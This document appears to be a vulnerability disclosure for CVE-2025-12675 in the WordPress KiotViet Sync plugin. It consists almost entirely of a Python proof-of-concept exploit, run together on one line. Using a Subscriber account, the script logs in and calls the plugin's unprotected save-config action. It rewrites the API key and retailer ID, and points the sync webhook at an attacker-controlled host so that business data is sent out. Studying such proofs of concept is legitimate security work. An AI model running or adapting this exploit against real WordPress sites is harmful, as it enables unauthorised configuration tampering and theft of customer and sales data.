CVE-2025-12675 WordPress KiotViet Sync插件权限绕过漏洞

import requests # CVE-2025-12675 PoC - KiotViet Sync Plugin Privilege Escalation # Target: WordPress site with KiotViet Sync plugin <= 1.8.5 # Author: Security Researcher # Note: Requires a valid Subscriber-level account TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def exploit_cve_2025_12675(): """ This PoC demonstrates the privilege bypass vulnerability in KiotViet Sync plugin. The saveConfig() function lacks capability checks, allowing any authenticated user to modify plugin configuration. """ session = requests.Session() # Step 1: Authenticate with WordPress (Subscriber-level account) login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful (Subscriber account)") # Step 2: Exploit the vulnerability by modifying plugin config # The saveConfig() function is accessible without proper capability checks exploit_url = f"{TARGET_URL}/wp-admin/admin-post.php" exploit_data = { 'action': 'kiotviet_save_config', 'kiotviet_api_key': 'attacker_modified_key', 'kiotviet_retailer_id': 'malicious_retailer', 'kiotviet_webhook_url': 'https://attacker-controlled-site.com/steal-data', '_wpnonce': 'bypass_nonce_if_available' } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Config modification request sent successfully") print("[+] Plugin configuration has been modified without proper authorization") print("[*] Attacker can now intercept sync data or modify business logic") return True else: print(f"[-] Exploitation failed with status code: {response.status_code}") return False if __name__ == "__main__": exploit_cve_2025_12675()